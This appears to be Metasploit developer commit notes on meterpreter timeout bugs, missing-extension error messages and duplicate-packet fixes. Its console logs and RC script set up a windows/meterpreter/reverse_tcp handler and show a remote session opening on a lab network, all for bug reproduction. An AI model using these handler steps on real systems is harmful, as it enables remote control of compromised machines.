response_timeout is a method specific to a meterpreter session, not
shell. So if the user is using a shell type payload, he will never
see a backtrace before interacting with the sessions.
When a meterpreter binary cannot be found, give the user some hint about what
went wrong.
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.43.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.43.252
[*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600
meterpreter > use mack
Loading extension mack...
[-] Failed to load extension: No module of the name ext_server_mack.x86.dll found
```
This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)
The current logic times out every packet almost immediately, making it possible
for almost any non-trivial meterpreter session to receive duplicate packets.
This causes problems especially with any interactions that involve passing
resource handles or pointers back and forth between MSF and meterpreter, since
meterpreter can be told to operate on freed pointers, double-closes, etc.
This probably fixes tons of heisenbugs, including #3798.
To reproduce this, I enabled all debug messages in meterpreter to slow it
down, then ran this RC script with a reverse TCP meterpreter, after linking in
the test modules:
(cd modules/post
ln -s ../../test/modules/post/test)
die.rc:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.1
exploit -j
sleep 5
use post/test/services
set SESSION 1
run
